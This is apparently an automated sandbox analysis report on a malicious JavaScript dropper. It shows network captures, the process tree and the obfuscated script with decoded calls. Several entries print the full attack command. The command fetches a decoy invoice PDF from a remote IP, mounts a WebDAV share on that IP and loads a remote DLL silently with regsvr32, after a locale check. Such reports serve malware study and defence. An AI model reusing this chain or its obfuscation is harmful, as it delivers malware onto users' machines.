Jan 13, 2025 09:47:13.336872101 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 13, 2025 09:47:13.382280111 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 13, 2025 09:47:14.236491919 CET	49707	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 09:47:20.375591040 CET	63655	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 09:47:20.375591040 CET	192.168.2.8	1.1.1.1	0xf507	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 09:47:20.383249044 CET	1.1.1.1	192.168.2.8	0xf507	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 09:47:21.076987982 CET	1.1.1.1	192.168.2.8	0x7877	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 09:47:21.076987982 CET	1.1.1.1	192.168.2.8	0x7877	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	7680	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 09:47:10.236773014 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 13, 2025 09:47:11.018807888 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 08:47:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 13, 2025 09:47:11.018826962 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 13, 2025 09:47:11.018840075 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 13, 2025 09:47:11.018852949 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 13, 2025 09:47:11.018865108 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 13, 2025 09:47:11.018882036 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 13, 2025 09:47:11.018894911 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 13, 2025 09:47:11.018908024 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 13, 2025 09:47:11.018920898 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 13, 2025 09:47:11.018934965 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L
Jan 13, 2025 09:47:11.023772955 CET	548	IN	Data Raw: f5 5b 85 65 79 f5 ec ff ae 9f b1 5c 09 95 35 d1 89 39 2d d7 ac 86 2e 6c ca 0d 5f 50 f3 6a fa 9f a0 90 1f 06 28 64 77 79 8f f9 15 be e1 c8 6a ae 6e fb 1e 6a ce eb 94 28 59 28 a1 92 41 53 c2 d6 af a3 1f 81 d7 53 99 7e c2 f7 da 29 77 6d 7d 4f 93 cf Data Ascii: [ey\59-.l_Pj(dwyjnj(Y(ASS~)wm}OP}'2`sVi%QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	7904	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 09:47:12.580238104 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 13, 2025 09:47:13.336872101 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 08:47:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	03:47:06
Start date:	13/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\29522576223272839.js"
Imagebase:	0x7ff6be0c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:47:06
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll
Imagebase:	0x7ff7aba80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:47:06
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:47:06
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:47:11
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:47:11
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7aba80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:47:11
Start date:	13/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff68c0e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:47:12
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:47:12
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:47:12
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1652,i,3310978608312193084,15995746680668013481,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ftmbsyuys() {	ftmbsyuys() ➔ undefined
1	jonwo = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var bwdbrr = this[huwjz + nqhtstk + ziowoargg + zroyvlf + wggjledh + obzjofwux + vrhcplatx + nxmxicee] ( this[dsmdn + cktrhd + fjnehxkw + ziowoargg + qbkbquk + huwjz + nxmxicee][hloliztto + ziowoargg + wggjledh + nqhtstk + nxmxicee + wggjledh + iyvrknutg + uomsp + egsmxuic + wggjledh + fjnehxkw + nxmxicee] ( dsmdn + cktrhd + fjnehxkw + ziowoargg + qbkbquk + huwjz + nxmxicee + gbodthdm + cktrhd + prssvwigq + wggjledh + tppqrjef + tppqrjef ) [fzyhxvq + wggjledh + kwalrpt + fzyhxvq + wggjledh + nqhtstk + poerdupt] ( wolri + dqxdeq + ohbxqfjb + ujvxuaci + cbrmvy + hloliztto + hwfosrxn + fzyhxvq + fzyhxvq + ohbxqfjb + yzybqsoxn + hkqjlgexc + cbrmvy + hwfosrxn + cktrhd + ohbxqfjb + fzyhxvq + dgxfixqb + hloliztto + aczjmw + vrhcplatx + nxmxicee + ziowoargg + aczjmw + tppqrjef + beopitvsm + hfxklmhga + nqhtstk + vrhcplatx + wggjledh + tppqrjef + dgxfixqb + obzjofwux + vrhcplatx + nxmxicee + wggjledh + ziowoargg + vrhcplatx + nqhtstk + nxmxicee + qbkbquk + aczjmw + vrhcplatx + nqhtstk + tppqrjef + dgxfixqb + jdpmz + aczjmw + fjnehxkw + nqhtstk + tppqrjef + wggjledh ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( wvzmpyr = 0 ; wvzmpyr < jonwo[tppqrjef + wggjledh + vrhcplatx + kwalrpt + nxmxicee + prssvwigq] ; ++ wvzmpyr )
4	{
5	if ( bwdbrr == jonwo[wvzmpyr] )
6	{
7	bwdbrr = true;
8	break ;
9	}
10	}
11	if ( bwdbrr !== true )
12	this[dsmdn + cktrhd + fjnehxkw + ziowoargg + qbkbquk + huwjz + nxmxicee][qllnvwnq + jhiyigy + qbkbquk + nxmxicee] ( );
13	this[dsmdn + cktrhd + fjnehxkw + ziowoargg + qbkbquk + huwjz + nxmxicee][hloliztto + ziowoargg + wggjledh + nqhtstk + nxmxicee + wggjledh + iyvrknutg + uomsp + egsmxuic + wggjledh + fjnehxkw + nxmxicee] ( dsmdn + cktrhd + fjnehxkw + ziowoargg + qbkbquk + huwjz + nxmxicee + gbodthdm + cktrhd + prssvwigq + wggjledh + tppqrjef + tppqrjef ) [ziowoargg + jhiyigy + vrhcplatx] ( fjnehxkw + ydwbvfekv + poerdupt + beopitvsm + aulmfmg + fjnehxkw + beopitvsm + huwjz + aczjmw + qgvxq + wggjledh + ziowoargg + zroyvlf + prssvwigq + wggjledh + tppqrjef + tppqrjef + gbodthdm + wggjledh + bmtzk + wggjledh + beopitvsm + xapwqkcru + hloliztto + aczjmw + ydwbvfekv + ydwbvfekv + nqhtstk + vrhcplatx + poerdupt + beopitvsm + lxwlchmr + obzjofwux + vrhcplatx + hzuuriyi + aczjmw + ctpwaexsy + wggjledh + xapwqkcru + dsmdn + wggjledh + uomsp + fzyhxvq + wggjledh + tcljycwf + jhiyigy + wggjledh + zroyvlf + nxmxicee + beopitvsm + xapwqkcru + iyvrknutg + jhiyigy + nxmxicee + rnyoeao + qbkbquk + tppqrjef + wggjledh + beopitvsm + fythazza + nxmxicee + wggjledh + ydwbvfekv + huwjz + fythazza + dgxfixqb + qbkbquk + vrhcplatx + hzuuriyi + aczjmw + qbkbquk + fjnehxkw + wggjledh + gbodthdm + huwjz + poerdupt + fbsxv + beopitvsm + prssvwigq + nxmxicee + nxmxicee + huwjz + rvjvytify + aulmfmg + aulmfmg + fssif + ldprsbu + pqatgz + gbodthdm + fssif + crljl + pqatgz + gbodthdm + fssif + gbodthdm + jnpgfkzv + apeqahfx + lzzvgthnp + aulmfmg + qbkbquk + vrhcplatx + hzuuriyi + aczjmw + qbkbquk + fjnehxkw + wggjledh + gbodthdm + huwjz + prssvwigq + huwjz + lxwlchmr + mutoapxmm + mutoapxmm + zroyvlf + nxmxicee + nqhtstk + ziowoargg + nxmxicee + beopitvsm + fythazza + nxmxicee + wggjledh + ydwbvfekv + huwjz + fythazza + dgxfixqb + qbkbquk + vrhcplatx + hzuuriyi + aczjmw + qbkbquk + fjnehxkw + wggjledh + gbodthdm + huwjz + poerdupt + fbsxv + mutoapxmm + mutoapxmm + fjnehxkw + ydwbvfekv + poerdupt + beopitvsm + aulmfmg + fjnehxkw + beopitvsm + vrhcplatx + wggjledh + nxmxicee + beopitvsm + jhiyigy + zroyvlf + wggjledh + beopitvsm + dgxfixqb + dgxfixqb + fssif + ldprsbu + pqatgz + gbodthdm + fssif + crljl + pqatgz + gbodthdm + fssif + gbodthdm + jnpgfkzv + apeqahfx + lzzvgthnp + oobexplb + skwcnudbu + skwcnudbu + skwcnudbu + skwcnudbu + dgxfixqb + poerdupt + nqhtstk + hzuuriyi + qgvxq + qgvxq + qgvxq + ziowoargg + aczjmw + aczjmw + nxmxicee + dgxfixqb + mutoapxmm + mutoapxmm + fjnehxkw + ydwbvfekv + poerdupt + beopitvsm + aulmfmg + fjnehxkw + beopitvsm + ziowoargg + wggjledh + kwalrpt + zroyvlf + hzuuriyi + ziowoargg + pqatgz + jnpgfkzv + beopitvsm + aulmfmg + zroyvlf + beopitvsm + dgxfixqb + dgxfixqb + fssif + ldprsbu + pqatgz + gbodthdm + fssif + crljl + pqatgz + gbodthdm + fssif + gbodthdm + jnpgfkzv + apeqahfx + lzzvgthnp + oobexplb + skwcnudbu + skwcnudbu + skwcnudbu + skwcnudbu + dgxfixqb + poerdupt + nqhtstk + hzuuriyi + qgvxq + qgvxq + qgvxq + ziowoargg + aczjmw + aczjmw + nxmxicee + dgxfixqb + fssif + ldprsbu + fssif + ldprsbu + jnpgfkzv + pqatgz + crljl + ldprsbu + pqatgz + jnpgfkzv + skwcnudbu + ldprsbu + apeqahfx + ldprsbu + gbodthdm + poerdupt + tppqrjef + tppqrjef, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll",0,false) ➔ 0
14	}
15	crljl = "q";
16	crljl = "J";
17	crljl = "X";
18	crljl = "f";
19	crljl = "C";
20	crljl = "z";
21	crljl = "f";
22	crljl = "k";
23	crljl = "S";
24	crljl = "D";
25	crljl = "K";
26	crljl = "E";
27	crljl = "U";
28	crljl = "s";
29	crljl = "v";
30	crljl = "g";
31	crljl = "M";
32	crljl = "F";
33	crljl = "e";
34	crljl = "V";
35	crljl = "O";
36	crljl = "g";
37	crljl = "a";
38	crljl = "W";
39	crljl = "A";
40	crljl = "u";
41	crljl = "f";
42	crljl = "o";
43	crljl = "f";
44	crljl = "u";
45	crljl = "S";
46	crljl = "T";
47	crljl = "o";
48	crljl = "X";
49	crljl = "K";
50	crljl = "4";
51	aczjmw = "t";
52	aczjmw = "y";
53	aczjmw = "l";
54	aczjmw = "i";
55	aczjmw = "B";
56	aczjmw = "H";
57	aczjmw = "a";
58	aczjmw = "w";
59	aczjmw = "s";
60	aczjmw = "p";
61	aczjmw = "E";
62	aczjmw = "G";
63	aczjmw = "f";
64	aczjmw = "f";
65	aczjmw = "t";
66	aczjmw = "v";
67	aczjmw = "M";
68	aczjmw = "H";
69	aczjmw = "G";
70	aczjmw = "G";
71	aczjmw = "Y";
72	aczjmw = "p";
73	aczjmw = "F";
74	aczjmw = "F";
75	aczjmw = "c";
76	aczjmw = "Z";
77	aczjmw = "J";
78	aczjmw = "X";
79	aczjmw = "I";
80	aczjmw = "A";
81	aczjmw = "A";
82	aczjmw = "i";
83	aczjmw = "r";
84	aczjmw = "z";
85	aczjmw = "j";
86	aczjmw = "x";
87	aczjmw = "o";
88	dgxfixqb = "E";
89	dgxfixqb = "Z";
90	dgxfixqb = "D";
91	dgxfixqb = "x";
92	dgxfixqb = "W";
93	dgxfixqb = "M";
94	dgxfixqb = "Q";
95	dgxfixqb = "n";
96	dgxfixqb = "H";
97	dgxfixqb = "i";
98	dgxfixqb = "d";
99	dgxfixqb = "Q";
100	dgxfixqb = "T";
101	dgxfixqb = "u";
102	dgxfixqb = "b";
103	dgxfixqb = "z";
104	dgxfixqb = "I";
105	dgxfixqb = "I";
106	dgxfixqb = "G";
107	dgxfixqb = "q";
108	dgxfixqb = "M";
109	dgxfixqb = "k";
110	dgxfixqb = "W";
111	dgxfixqb = "S";
112	dgxfixqb = "o";
113	dgxfixqb = "O";
114	dgxfixqb = "B";
115	dgxfixqb = "W";
116	dgxfixqb = "N";
117	dgxfixqb = "N";
118	dgxfixqb = "l";
119	dgxfixqb = "L";
120	dgxfixqb = "h";
121	dgxfixqb = "o";
122	dgxfixqb = "B";
123	dgxfixqb = "B";
124	dgxfixqb = "T";
125	dgxfixqb = "s";
126	dgxfixqb = "\\";
127	oobexplb = "p";
128	oobexplb = "b";
129	oobexplb = "c";
130	oobexplb = "i";
131	oobexplb = "s";
132	oobexplb = "p";
133	oobexplb = "c";
134	oobexplb = "t";
135	oobexplb = "J";
136	oobexplb = "d";
137	oobexplb = "W";
138	oobexplb = "c";
139	oobexplb = "c";
140	oobexplb = "a";
141	oobexplb = "R";
142	oobexplb = "K";
143	oobexplb = "L";
144	oobexplb = "X";
145	oobexplb = "X";
146	oobexplb = "t";
147	oobexplb = "n";
148	oobexplb = "O";
149	oobexplb = "t";
150	oobexplb = "l";
151	oobexplb = "e";
152	oobexplb = "G";
153	oobexplb = "f";
154	oobexplb = "J";
155	oobexplb = "o";
156	oobexplb = "J";
157	oobexplb = "U";
158	oobexplb = "i";
159	oobexplb = "o";
160	oobexplb = "i";
161	oobexplb = "j";
162	oobexplb = "b";
163	oobexplb = "t";
164	oobexplb = "E";
165	oobexplb = "U";
166	oobexplb = "Z";
167	oobexplb = "J";
168	oobexplb = "b";
169	oobexplb = "a";
170	oobexplb = "@";
171	qgvxq = "t";
172	qgvxq = "w";
173	qgvxq = "T";
174	qgvxq = "D";
175	qgvxq = "Q";
176	qgvxq = "R";
177	qgvxq = "T";
178	qgvxq = "Q";
179	qgvxq = "S";
180	qgvxq = "t";
181	qgvxq = "S";
182	qgvxq = "h";
183	qgvxq = "l";
184	qgvxq = "E";
185	qgvxq = "X";
186	qgvxq = "k";
187	qgvxq = "g";
188	qgvxq = "x";
189	qgvxq = "c";
190	qgvxq = "s";
191	qgvxq = "u";
192	qgvxq = "J";
193	qgvxq = "q";
194	qgvxq = "Q";
195	qgvxq = "J";
196	qgvxq = "y";
197	qgvxq = "S";
198	qgvxq = "L";
199	qgvxq = "k";
200	qgvxq = "y";
201	qgvxq = "Y";
202	qgvxq = "t";
203	qgvxq = "u";
204	qgvxq = "c";
205	qgvxq = "w";
206	ydwbvfekv = "L";
207	ydwbvfekv = "z";
208	ydwbvfekv = "M";
209	ydwbvfekv = "p";
210	ydwbvfekv = "V";
211	ydwbvfekv = "I";
212	ydwbvfekv = "M";
213	ydwbvfekv = "e";
214	ydwbvfekv = "y";
215	ydwbvfekv = "P";
216	ydwbvfekv = "L";
217	ydwbvfekv = "e";
218	ydwbvfekv = "c";
219	ydwbvfekv = "O";
220	ydwbvfekv = "X";
221	ydwbvfekv = "s";
222	ydwbvfekv = "q";
223	ydwbvfekv = "F";
224	ydwbvfekv = "z";
225	ydwbvfekv = "v";
226	ydwbvfekv = "U";
